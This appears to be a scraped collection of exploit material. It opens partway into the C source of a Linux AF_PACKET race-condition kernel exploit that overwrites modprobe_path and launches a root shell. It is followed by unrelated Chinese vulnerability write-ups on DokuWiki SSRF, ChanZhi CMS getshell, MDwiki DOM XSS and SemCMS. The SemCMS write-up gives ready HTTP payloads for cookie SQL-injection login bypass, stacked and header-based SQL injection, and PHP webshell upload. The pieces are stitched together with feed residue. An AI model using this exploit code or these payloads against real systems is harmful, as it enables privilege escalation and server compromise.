    {"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890},
    {"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320},
    {"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880},
    {"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100},
    {"4.2.0-19-generic #23",0,0,0,0},
    {"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0},
    {"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320},
    {"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370},
    {"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880},
    {"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390},
    {"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0},
    {"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20},
    {"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffffffff81274150,0xffffffff8106b620},
    {"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320},
    {"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320},
//{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0},
    {NULL,0,0,0,0}
};

#define VSYSCALL 0xffffffffff600000

#define PAD 64

int pad_fds[PAD];

struct ctl_table {
    const char *procname;
    void *data;
    int maxlen;
    unsigned short mode;
    struct ctl_table *child;
    void *proc_handler;
    void *poll;
    void *extra1;
    void *extra2;
};

#define CONF_RING_FRAMES 1

struct tpacket_req3 tp;
int sfd;
int mapped = 0;

struct timer_list {
    void *next;
    void *prev;
    unsigned long           expires;
    void                    (*function)(unsigned long);
    unsigned long           data;
    unsigned int                     flags;
    int                     slack;
};

void *setsockopt_thread(void *arg)
{
    while(barrier) {
    }
    setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));

    return NULL;
}

void *vers_switcher(void *arg)
{
    int val,x,y;

    while(barrier) {}

    while(1) {
        val = TPACKET_V1;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

        y++;

        if(x != 0) break;

        val = TPACKET_V3;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

        if(x != 0) break;

        y++;
    }

    fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
    vers_switcher_done = 1;


    return NULL;
}

#define BUFSIZE 1408
char exploitbuf[BUFSIZE];

void kmalloc(void)
{
    while(1)
        syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2);
}


void pad_kmalloc(void)
{
    int x;

    for(x=0; x<PAD; x++)
        if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) {
            fprintf(stderr,"pad_kmalloc() socket error\n");
            exit(1);
        }

}

int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
{
    pthread_t setsockopt_thread_thread,a;
    int val;
    socklen_t l;
    struct timer_list *timer;
    int fd;
    struct tpacket_block_desc *pbd;
    int off;
    sigset_t set;

    sigemptyset(&set);

    sigaddset(&set, SIGSEGV);

    if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
        fprintf(stderr,"couldn't set sigmask\n");
        exit(1);
    }

    fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p\n",(void *)func,(void *)arg);

    pad_kmalloc();

    fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP));

    if (fd==-1) {
        printf("target socket error\n");
        exit(1);
    }

    pad_kmalloc();

    fprintf(stderr,"sockets allocated\n");

    val = TPACKET_V3;

    setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));

    tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
    tp.tp_block_nr = 1;
    tp.tp_frame_size = getpagesize();
    tp.tp_frame_nr = CONF_RING_FRAMES;

//try to set the timeout to 10 seconds
//the default timeout might still be used though depending on when the race was won
    tp.tp_retire_blk_tov = 10000;

    sfd = fd;

    if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
        fprintf(stderr, "Error creating thread\n");
        return 1;
    }


    pthread_create(&a, NULL, vers_switcher, (void *)NULL);

    usleep(200000);

    fprintf(stderr,"removing barrier and spraying..\n");

    memset(exploitbuf,'\x00',BUFSIZE);

    timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
    timer->next = 0;
    timer->prev = 0;

    timer->expires = 4294943360;
    timer->function = (void *)func;
    timer->data = arg;
    timer->flags = 1;
    timer->slack = -1;


    barrier = 0;

    usleep(100000);

    while(!vers_switcher_done)usleep(100000);

    l = sizeof(val);
    getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);

    fprintf(stderr,"current packet version = %d\n",val);

    pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);


    if(pbd == MAP_FAILED) {
        fprintf(stderr,"could not map pbd\n");
        exit(1);
    }

    else {
        off = pbd->hdr.bh1.offset_to_first_pkt;
        fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d\n",off);
    }


    if(val == TPACKET_V1 && off != 0) {
        fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
    }

    else {
        fprintf(stderr,"race not won\n");
        exit(2);
    }

    munmap(pbd, tp.tp_block_size * tp.tp_block_nr);

    pthread_create(&a, NULL, verification_func, (void *)NULL);

    fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.\n");
    sleep(1);
    fprintf(stderr,"closing socket and verifying..");

    close(sfd);

    kmalloc();

    fprintf(stderr,"all messages sent\n");

    sleep(31337);
    exit(1);
}


int verification_result = 0;

void catch_sigsegv(int sig)
{
    verification_result = 0;
    pthread_exit((void *)1);
}


void *modify_vsyscall(void *arg)
{
    unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
    unsigned long x = (unsigned long)arg;

    sigset_t set;
    sigemptyset(&set);
    sigaddset(&set, SIGSEGV);

    if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
        fprintf(stderr,"couldn't set sigmask\n");
        exit(1);
    }

    signal(SIGSEGV, catch_sigsegv);

    *vsyscall = 0xdeadbeef+x;

    if(*vsyscall == 0xdeadbeef+x) {
        fprintf(stderr,"\nvsyscall page altered!\n");
        verification_result = 1;
        pthread_exit(0);
    }

    return NULL;
}

void verify_stage1(void)
{
    int x;
    pthread_t v_thread;

    sleep(5);

    for(x=0; x<300; x++) {

        pthread_create(&v_thread, NULL, modify_vsyscall, 0);

        pthread_join(v_thread, NULL);

        if(verification_result == 1) {
            exit(0);
        }

        write(2,".",1);
        sleep(1);
    }

    printf("could not modify vsyscall\n");

    exit(1);
}

void verify_stage2(void)
{
    int x;
    struct stat b;

    sleep(5);

    for(x=0; x<300; x++) {

        if(stat("/proc/sys/hack",&b) == 0) {
            fprintf(stderr,"\nsysctl added!\n");
            exit(0);
        }

        write(2,".",1);
        sleep(1);
    }

    printf("could not add sysctl\n");
    exit(1);


}

void exploit(unsigned long func, unsigned long arg, void *verification_func)
{
    int status;
    int pid;

retry:

    pid = fork();

    if(pid == 0) {
        try_exploit(func, arg, verification_func);
        exit(1);
    }

    wait(&status);

    printf("\n");

    if(WEXITSTATUS(status) == 2) {
        printf("retrying stage..\n");
        kill(pid, 9);
        sleep(2);
        goto retry;
    }

    else if(WEXITSTATUS(status) != 0) {
        printf("something bad happened, aborting exploit attempt\n");
        exit(-1);
    }



    kill(pid, 9);
}


void wrapper(void)
{
    struct ctl_table *c;

    fprintf(stderr,"exploit starting\n");
    printf("making vsyscall page writable..\n\n");

    exploit(off->set_memory_rw, VSYSCALL, verify_stage1);

    printf("\nstage 1 completed\n");

    sleep(5);

    printf("registering new sysctl..\n\n");

    c = (struct ctl_table *)(VSYSCALL+0x850);

    memset((char *)(VSYSCALL+0x850), '\x00', 1952);

    strcpy((char *)(VSYSCALL+0xf00),"hack");
    memcpy((char *)(VSYSCALL+0xe00),"\x01\x00\x00\x00",4);
    c->procname = (char *)(VSYSCALL+0xf00);
    c->mode = 0666;
    c->proc_handler = (void *)(off->proc_dostring);
    c->data = (void *)(off->modprobe_path);
    c->maxlen=256;
    c->extra1 = (void *)(VSYSCALL+0xe00);
    c->extra2 = (void *)(VSYSCALL+0xd00);

    exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2);

    printf("stage 2 completed\n");
}

void launch_rootshell(void)
{
    int fd;
    char buf[256];
    struct stat s;


    fd = open("/proc/sys/hack",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"could not open /proc/sys/hack\n");
        exit(-1);
    }

    memset(buf,'\x00', 256);

    readlink("/proc/self/exe",(char *)&buf,256);

    write(fd,buf,strlen(buf)+1);

    socket(AF_INET,SOCK_STREAM,132);

    if(stat(buf,&s) == 0 && s.st_uid == 0) {
        printf("binary executed by kernel, launching rootshell\n");
        lseek(fd, 0, SEEK_SET);
        write(fd,"/sbin/modprobe",15);
        close(fd);
        execl(buf,buf,NULL);
    }

    else
        printf("could not create rootshell\n");


}

int main(int argc, char **argv)
{
    int status, pid;
    struct utsname u;
    int i, crash = 0;
    char buf[512], *f;


    if(argc == 2 && !strcmp(argv[1],"crash")) {
        crash = 1;
    }


    if(getuid() == 0 && geteuid() == 0 && !crash) {
        chown("/proc/self/exe",0,0);
        chmod("/proc/self/exe",06755);
        exit(-1);
    }

    else if(getuid() != 0 && geteuid() == 0 && !crash) {
        setresuid(0,0,0);
        setresgid(0,0,0);
        execl("/bin/bash","bash","-p",NULL);
        exit(0);
    }

    fprintf(stderr,"linux AF_PACKET race condition exploit by rebel\n");

    uname(&u);

    if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '\0';

    snprintf(buf,512,"%s %s",u.release,u.version);

    printf("kernel version: %s\n",buf);


    for(i=0; offsets[i].kernel_version != NULL; i++) {
        if(!strcmp(offsets[i].kernel_version,buf)) {

            while(offsets[i].proc_dostring == 0)
                i--;

            off = &offsets[i];
            break;
        }
    }

    if(crash) {
        off = &offsets[0];
        off->set_memory_rw = 0xffffffff41414141;
    }

    if(off) {
        printf("proc_dostring = %p\n",(void *)off->proc_dostring);
        printf("modprobe_path = %p\n",(void *)off->modprobe_path);
        printf("register_sysctl_table = %p\n",(void *)off->register_sysctl_table);
        printf("set_memory_rw = %p\n",(void *)off->set_memory_rw);
    }

    if(!off) {
        fprintf(stderr,"i have no offsets for this kernel version..\n");
        exit(-1);
    }

    pid = fork();

    if(pid == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if(unshare(CLONE_NEWNET) != 0)
            fprintf(stderr, "failed to create new network namespace\n");

        wrapper();
        exit(0);
    }

    waitpid(pid, &status, 0);

    launch_rootshell();
    return 0;
}


DokuWiki fetch.php SSRF漏洞与tok安全验证绕过分析

$
0
0

关于DokuWiki

DokuWiki是一个开源wiki引擎程序,运行于PHP环境下。DokuWiki程序小巧而功能强大、灵活,适合中小团队和个人网站知识库的管理。

漏洞简介

DokuWiki最新 2016-06-26a版本存在一个SSRF漏洞,当DokuWiki fetch.php允许下载外部资源时(fetchsize不为零),外部攻击者可以通过猜解tok绕过安全验证,请求服务器内网资源。

漏洞分析

DokuWiki fetch.php文件允许下载外部文件,外部文件地址传递给参数media,但是在请求时候有tok安全校验,请求如下:

    /dokuwiki/lib/exe/fetch.php?media=http://192.168.141.128:80/test.php?test.jpg&tok=0f35df

安全校验在checkFileStatus()函数中,如图:

由上图中可见,tok安全校验就是把$media、$width(不传递值为空)和$height(不传递值为空)三个变量在media_get_token()函数中计算一下,然后把结算结果和tok参数比对,只有比对一致才能通过校验,继续看media_get_token()函数,如图:

由上图中可见,media_get_token()函数把$media、$width和$height三个变量值拼接起来,再加上auth_cookiesalt()函数值,在PassHash::hmac()函数中取了md5,把md5的前6位($token变量)返回。继续看auth_cookiesalt()函数,如图:

由上图中可见,auth_cookiesalt()的函数值是由DokuWiki _htcookiesalt2文件存储的盐值,再拼接session_id()函数构成的。 auth_cookiesalt()函数使用session_id()函数生成salt是不安全的,在最新php版本中session_id()函数存在一个bug(低版本php不存在),构造如下代码:

<?php  
session_name("niubl");  
session_start();  
var_dump(session_id());

直接请求test.php文件返回:

设置Cookie参数niubl值为http://192.168.141.128:80/test.php?test.jpg ,再次请求:

由上图中可见,php发现Cookie参数niubl值中含有非法字符,但是php并没有重新生成session_id,导致传入的非法字符仍然可用,被var_dump()函数打印了出来。 auth_cookiesalt()函数使用session_id()函数生成salt,现在session_id()函数外部可控,且可以接收非法字符串,那么我们找一出使用依赖auth_cookiesalt()函数生成数值的代码,就可以推测_htcookiesalt2了。

上图中getSecurityToken()是用来产生CSRF token的函数,CSRF token广泛出现在表单中,他的实现和media_get_token()函数类似,只是PassHash::hmac()函数第二个参数换成了session_id()加$INPUT->server->str('REMOTE_USER'),$INPUT->server->str('REMOTE_USER')变量在不传递参数的时候值为空,那么我们可以通过传递session_id()为fetch.php的media参数,这时getSecurityToken()函数就生成了我们进行SSRF攻击时需要校验的tok。getSecurityToken()函数广泛用表单token中,测试:

上图中,传递Cookie参数DokuWiki值http://192.168.141.128:80/test.php?test.jpg ,生成sectok值0f35dfabdb3fb00c4de06facec6c2d43 ,他的前6位0f35df就是我们进行SSRF攻击时需要校验的tok值,验证:

漏洞修复

php的bug( https://bugs.php.net/bug.php?id=73860 )已经反馈给php官方开发团队,开发人员认为这个bug导致的漏洞是因为webapp使用了sessiond_id 生成salt,依赖session_id生成salt是不合理的,目前该bug仍未被确认

蝉知getshell

$
0
0

from 90sec
漏洞文件:
/system/module/file/model.php

public function pasteImage($data, $uid)
    {
     
        $data = str_replace('"', '"', $data);
 
        if(!$this->checkSavePath()) return false;
        ini_set('pcre.backtrack_limit', strlen($data));
        preg_match_all('/<img src="(data:image/(S+);base64,(S+))" .+ />/U', $data, $out);
        foreach($out[3] as $key => $base64Image)
        {
            $imageData = base64_decode($base64Image);
            $imageSize = array('width' => 0, 'height' => 0);
            $file['id']        = $key;
            $file['extension'] = $out[2][$key];
            $file['size']      = strlen($imageData);
            $file['addedBy']   = $this->app->user->account;
            $file['addedDate'] = helper::today();
            $file['title']     = basename($file['pathname']);
            $file['pathname']  = $this->setPathName($file);
            $file['editor']    = 1;
            file_put_contents($this->savePath . $file['pathname'], $imageData);
            $this->compressImage($this->savePath . $file['pathname']);
 
            $imageSize      = $this->getImageSize($this->savePath . $file['pathname']);
            $file['width']  = $imageSize['width'];
            $file['height'] = $imageSize['height'];
            $file['lang']   = 'all';
 
            $this->dao->insert(TABLE_FILE)->data($file)->exec();
            $_SESSION['album'][$uid][] = $this->dao->lastInsertID();
 
            $data = str_replace($out[1][$key], $this->webPath . $file['pathname'], $data);
        }
 
      return $data;
    }

主要观察的地方是file_put这里,我们看看哪里可控。$imageData是由穿入的内容经过正则匹配然后遍历经过base64解码出来的内容。
$this->savePath . $file['pathname']
$this->savePath 不可控,$file['pathname']目前不知道
先看看这个函数从哪里调用过来的
关联文件:/system/module/file/control.php

public function ajaxPasteImage($uid)
    {
        if($_POST)
        {
            echo $this->file->pasteImage($this->post->editor, $uid);
        }
}

Uid就不多说了,首先肯定是当post请求的时候才能够进入我们发现隐患的函数,这个不困难
data是由editor参数传入的,uid不确定是否能够控制但目前的条件来说无关紧要,继续回到原来的地方

foreach($out[3] as $key => $base64Image)
        {
            $imageData = base64_decode($base64Image);
            $imageSize = array('width' => 0, 'height' => 0);
            $file['id']        = $key;
            $file['extension'] = $out[2][$key];
            $file['size']      = strlen($imageData);
            $file['addedBy']   = $this->app->user->account;
            $file['addedDate'] = helper::today();
            $file['title']     = basename($file['pathname']);
            $file['pathname']  = $this->setPathName($file);
            $file['editor']    = 1;

Data既然是可控的,那么自然out[3]也是可控内容,这里的 $file['extension'] = $out2;是赋值后缀,$key可控的。但这里重点关注的是file['pathname'] = $this->setPathName($file);我们唯一不能控值的pathname是从这里赋出来的,先跟入函数看看

public function setPathName($file, $objectType = 'upload')
    {
        if(strpos('slide,source,themePackage', $objectType) === false)
        {
            $sessionID  = session_id();
            $randString = substr($sessionID, mt_rand(0, strlen($sessionID) - 5), 3);
            $pathName   = date('Ym/dHis', $this->now) . $file['id'] . mt_rand(0, 10000) . $randString;
        }
        elseif($objectType == 'source') 
        {
            /* Process file path if objectType is source. */
            $template = $this->config->template->{$this->app->clientDevice}->name;
            $theme    = $this->config->template->{$this->app->clientDevice}->theme;
            return "source/{$template}/{$theme}/{$file['title']}.{$file['extension']}";
        }
        elseif($objectType == 'themePackage')
        {
            return "{$file['title']}.{$file['extension']}"; 
        }
         
        /* rand file name more */
        list($path, $fileName) = explode('/', $pathName);
        $fileName = md5(mt_rand(0, 10000) . str_shuffle(md5($fileName)) . mt_rand(0, 10000));
        return $path . '/f_' . $fileName . '.' . $file['extension'];
    }

前面的if都是不具备条件的自然是执行最后的操作,但这里看见没$file['extension']是后缀,是我们可以控制的,那么就是可以getshell了。。。。
本地复现下试试:



MDwiki <= v0.6.2 DomXSS Vulnerability

$
0
0

MDwiki 是一个完全使用 HTML5/Javascript 技术构建,完全运行在客户端的 Wiki/CMS 系统。无需专门的服务器软件,只需将 mdwiki.html 上传到你存放 markdown 文件的目录。)问题出现在程序获取 location.hash 值(正常情况下为 test.md)解析后进行 ajax 请求动态加入页面中.

MDwiki.min.js

将压缩后的 JavaScript 解压方便调试,混淆变量暂时不管,n() :

function n() {
        var b;
        b = window.location.hash.substring(window.location.hash.startsWith(“#!”) ? 2 : 1), b = decodeURIComponent(b);
        var c = b.indexOf(“#”); - 1 !== c ? (a.md.inPageAnchor = b.substring(c + 1), a.md.mainHref = b.substring(0, c)) : a.md.mainHref = b
    }

变量 b 获取 location.hash #! 后的值并 URLDecode ,随后赋值给 a.md.mainHref 。

ajax getURL

 var d = {
    url: a.md.mainHref,
    dataType: "text"
};
a.ajax(d).done(function (a) {
    b = a, c()
}).fail(function () {
    var b = a.md.getLogger();
    b.fatal("Could not get " + a.md.mainHref), c()
})

将请求 a.md.mainHref 获取内容,完成后回调 b 变量为 a:页面内容。

var e = d(b);
a("#md-content").html(e), b = "";
var g = a.Deferred();
f(g), g.always(function () {
    c()
})

e = d(b), b 要求等于 Payload,追 d function:

function d(b) {
    var c = {
        gfm: !0,
        tables: !0,
        breaks: !0
    };
    "original" === a.md.config.lineBreaks ? c.breaks = !1 : "gfm" === a.md.config.lineBreaks &amp;&amp; (c.breaks = !0), marked.setOptions(c);
    var d = marked(b);
    return d
}

e 值经过 d 函数 –》 marked(b) 函数的渲染后被动态添加到 #md-content 中,导致漏洞产生。

PoC

我们可以构造一个页面写入 Payload 需设置 ACCESS-CONTROL-ALLOW-ORIGIN 头:

cat test/mdwiki.php
<?php

header("ACCESS-CONTROL-ALLOW-ORIGIN:*");
?>
<script>alert(location.href)</script>

from linux.im

Semcms v2.1 php诸多问题

$
0
0

Semcms简介

 SemCms是一套开源外贸企业网站管理系统,主要用于外贸企业,兼容IE、Firefox 等主流浏览器。SemCms使用php和vbscript语言编写,结合apache或iis运行。SemCms主要从事于英文网站建设,外贸网站建设,外贸网站制作,外贸网站源码开发。 SemCms采用国际通用utf-8编码编写。SemCms非常适合在外贸企业,电子商务互联网应用上使用,2009年12月首次发布以来,SemCms依靠出色的用户体验和领先的技术不断扩大外贸场占有率,目前在国内已经成为最受欢迎的英文外贸网站之一。

主要问题:

1.这套系统的后台路径是右四个随机字符生成的,爆破总数量有四十多万,比一般默认后台路径的系统相对来说要安全一点。但如果要爆的话,只是时间问题。
2.后台cookie登录处存在注入,可以任意用户登录。
3.前台sql注入
4.后台任意文件上传
5.后台sql注入

1.后台路径暴力破解
install/index.php

        $ht_filename="";
        for ($i = 1; $i <= 4; $i++) {
                 $ht_filename.= chr(rand(97, 122));
                ;}
        
        rename('../Admin', '../'.$ht_filename.'_Admin' ) or die ( "无法修改后台路径,请查看文件夹Admin权限,或手动更改Admin名称。错误信息: \n".mysql_error() );
    
        echo"<br><br><font color='red'>网站后台地址为:你的域名+".$ht_filename."_Admin/</font><br><font color='red'>请牢记,后台默认帐户:Admin 密码:1</font><br><br>";

在_Admin前面随机加了4个字母.完全可以随机生成字典进行爆破.

2.后台地址任意用户登录
文件位置:/Admin/Include/function.php

function checkuser(){ //判断账号 
    $cookieuser=@htmlspecialchars($_COOKIE["scuser"]);
    $cookieuserqx=@htmlspecialchars($_COOKIE["scuserqx"]);
    $sql="select * from sc_user where user_ps='$cookieuser' and user_qx='$cookieuserqx'"; 
    $result=mysql_query($sql); 
    $row = mysql_fetch_array($result,MYSQL_ASSOC); 
    if (!mysql_num_rows($result)){ echo "<script language='javascript'>alert('账号密码不正确重新登陆!');top.location.href='index.html';</script>";} 
    else {echo'';}     
  
}

可以看到cookie只简单的用htmlspecialchars()函数过滤了。我们知道这个函数用于将'&','''(单引号),'"'(双引号),'<'(小于号),'>'(大于号)转义为html实体字符。
单引号,双引号被过滤了,就没办法了吗?当然不!
我们让$cookieuser=,转义掉右边的单引号,使得$cookieuser左边单引号和$cookieuserqx左边的单引号成对,$cookieuserqx成功逃逸出单引号的包围。
最终执行的sql语句应该是这样的:

$sql="select * from sc_user where user_ps='\' and user_qx='or 1=1 #'";

即实现了任意用户登录
添加cookie

Cookie: scuser=\; scuserqx=or 1=1 #


添加cookie

3.前台注入
文件位置:Include/web_email.php

if ($Type=="fintpassword"){
    
    
  if (@htmlspecialchars($_POST['Email']) !==""){ // 判断是否输入邮箱
        
    $sql="select * from sc_user where user_email='".$_POST['Email']."'"; 
    $result=mysql_query($sql); 
    $row = mysql_fetch_array($result,MYSQL_ASSOC); 
    if (mysql_num_rows($result)>0) 
        { 
   $fsjs=rand(10,10000);  //邮件认证码 
   $fhurl=str_replace("SEMCMS_Remail.php","",$_POST['furl']);
   $smtpusermail=$smtpemailto;
   $smtptoemail=@htmlspecialchars($_POST['Email']);
   $mailtitle="来自".$_SERVER['SERVER_NAME']."密码找回邮件!";
   $mailcontent="网站管理员你好:<br>你的邮箱是:".$_POST['Email']."<br> 点击<a href='".$fhurl."?umail=".$_POST['Email']."&type=ok' target='_blank'>找回密码</a>"
           . " 或者复制以下链接到浏览器浏览 <br>"
           . "".$fhurl."?umail=".$_POST['Email']."&type=ok <br>认证码:".$fsjs."<br>请妥善保管!";
   
  mysql_query("UPDATE sc_user SET user_rzm='$fsjs' WHERE user_email='".$_POST['Email']."'");
 ......
 elseif ($Type=="MSG"){ //询盘发送!
    
 $msg_email=@htmlspecialchars($_POST['mail']);
 $msg_content=@htmlspecialchars($_POST['tent']);
 $msg_pid=@htmlspecialchars($_POST['PID']);
 $msg_languageID=@htmlspecialchars($_POST['languageID']);
 $msg_ip=getRealIp();
 
 
if(preg_match('/^[a-z0-9!#$%&\'*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&\'*+\/=?^_`{|}~-]+)*@(?:[-_a-z0-9][-_a-z0-9]*\.)*(?:[a-z0-9][-a-z0-9]{0,62})\.(?:(?:[a-z]{2}\.)?[a-z]{2,})$/i',$msg_email) && $msg_content!==""){ 
    //写入数据库
      mysql_query("INSERT INTO sc_msg(msg_pid,msg_email,msg_content,msg_ip,languageID)"
         . "VALUES ('$msg_pid','$msg_email','$msg_content','$msg_ip','$msg_languageID')");  

在type==fintpassword的过程中.虽然判断了Email不能为空.但是实际查询的时候却放弃了htmlspecialchars.

$sql="select * from sc_user where user_email='".$_POST['Email']."'"; 

这里可以直接执行多语句.比如我们看下面的update.

mysql_query("UPDATE sc_user SET user_rzm='$fsjs' WHERE user_email='".$_POST['Email']."'");

实际测试一下.发一个post请求包

POST /Include/web_email.php?type=fintpassword HTTP/1.1
Host: 192.168.87.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ECS[visit_times]=8; Hm_lvt_c2f6aaf05d3c0179bc567f17d74bcbfd=1482176280; AJSTAT_ok_times=1; __atuvc=13%7C10
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 92

Email=41864438@qq.com';UPDATE sc_user SET user_rzm=7088  WHERE user_email='41864438@qq.com'#

实际执行的sql语句却是

select * from sc_user where user_email='41864438@qq.com';UPDATE sc_user SET user_rzm=7088  WHERE user_email='41864438@qq.com'#'

可以达到执行任意语句的效果.

另外一处就是Type=="MSG".这里面主要就是获取了ip然后入库的时候出了点毛病

function getRealIp()
{
    $ip=false;
    if(!empty($_SERVER["HTTP_CLIENT_IP"])){
        $ip = $_SERVER["HTTP_CLIENT_IP"];
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
        if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
        for ($i = 0; $i < count($ips); $i++) {
            if (!eregi ("^(10│172.16│192.168).", $ips[$i])) {
                $ip = $ips[$i];
                break;
            }
        }
    }
    return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}

测试数据包

POST /Include/web_email.php?type=MSG HTTP/1.1
Host: 192.168.87.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ECS[visit_times]=8; Hm_lvt_c2f6aaf05d3c0179bc567f17d74bcbfd=1482176280; AJSTAT_ok_times=1; __atuvc=13%7C10
X-Forwarded-For: 127.0.0.1'or extractvalue(1,concat(0x7e,database())) or'
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

mail=41864438@qq.com&tent=fucktest&button=Inquiry%2Bnow&PID=22&languageID=1

有意思的是这个执行insert仅仅就是插入了而已,并不关心是否插入成功..执行的语句是

INSERT INTO sc_msg(msg_pid,msg_email,msg_content,msg_ip,languageID)VALUES ('22','41864438@qq.com','fucktest','127.0.0.1'or extractvalue(1,concat(0x7e,database())) or'','1')

4.后台任意文件上传
文件地址:xxx_Admin/SEMCMS_Upfile.php。我去掉了注释方便阅读

<?php
if (($_FILES["file"]["size"] > 1) && ($_FILES["file"]["size"] < 30240000))
  {
  if ($_FILES["file"]["error"] > 0)
    {
      echo "<script language='javascript'>alert('上传失败,返回重新选择');history.go(-1);</script>";
    }
  else
    {
      //文件存放路径
      $Imageurl=$_POST["imageurl"];
      $filed=$_POST["filed"];
      $filedname=$_POST["filedname"];
      $uptype = explode(".",$_FILES["file"]["name"]);//获取扩展名
      if (test_input($_POST["wname"])!==""){//自定义文件名
        $newname=test_input($_POST["wname"]).".".end($uptype); //新的文件名  
      }else{
           $rand=rand(10,100);//随机数
           $date = date("ymdhis").$rand;//文件名:时间+随机数
           $newname=$date.".".end($uptype); //新的文件名
      }
            move_uploaded_file($_FILES["file"]["tmp_name"],$Imageurl.$newname); //文件写入文件夹 
             
            echo"<script language='javascript'>window.opener.document.".$filedname.".".$filed.".value='".$Imageurl.$newname."';</script>";
            echo"<script language='javascript'>window.close();</script>";
    }
  }
else
  {
  //echo "Invalid file";
echo "<script language='javascript'>alert('1.请检查文件上传类型.\\n 允许:jpe,gif,png,doc,xls,pdf,rar,zip,bmp \\n2.上传大小1M之内.');history.go(-1);</script>";
  }
?>

肯定是我看错了.不知道他的验证去哪里了..我一定是下载了一个假的文件包.结合前面的cookie欺骗。也构造一个post包

POST /xdan_Admin/SEMCMS_Upfile.php HTTP/1.1
Host: 192.168.87.128
Content-Length: 685
Cache-Control: max-age=0
Origin: http://192.168.87.128
Upgrade-Insecure-Requests: 1
User-Agent: Http-Client-superagent
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypBqXrzJtqlyx3NBh
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.87.128/xdan_Admin/SEMCMS_Upload.php?Imageurl=../Images/default/&filed=web_logo&filedname=form
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2
Cookie: scuser=\; scuserqx=or 1=1 #
Connection: close

------WebKitFormBoundarypBqXrzJtqlyx3NBh
Content-Disposition: form-data; name="wname"


------WebKitFormBoundarypBqXrzJtqlyx3NBh
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundarypBqXrzJtqlyx3NBh
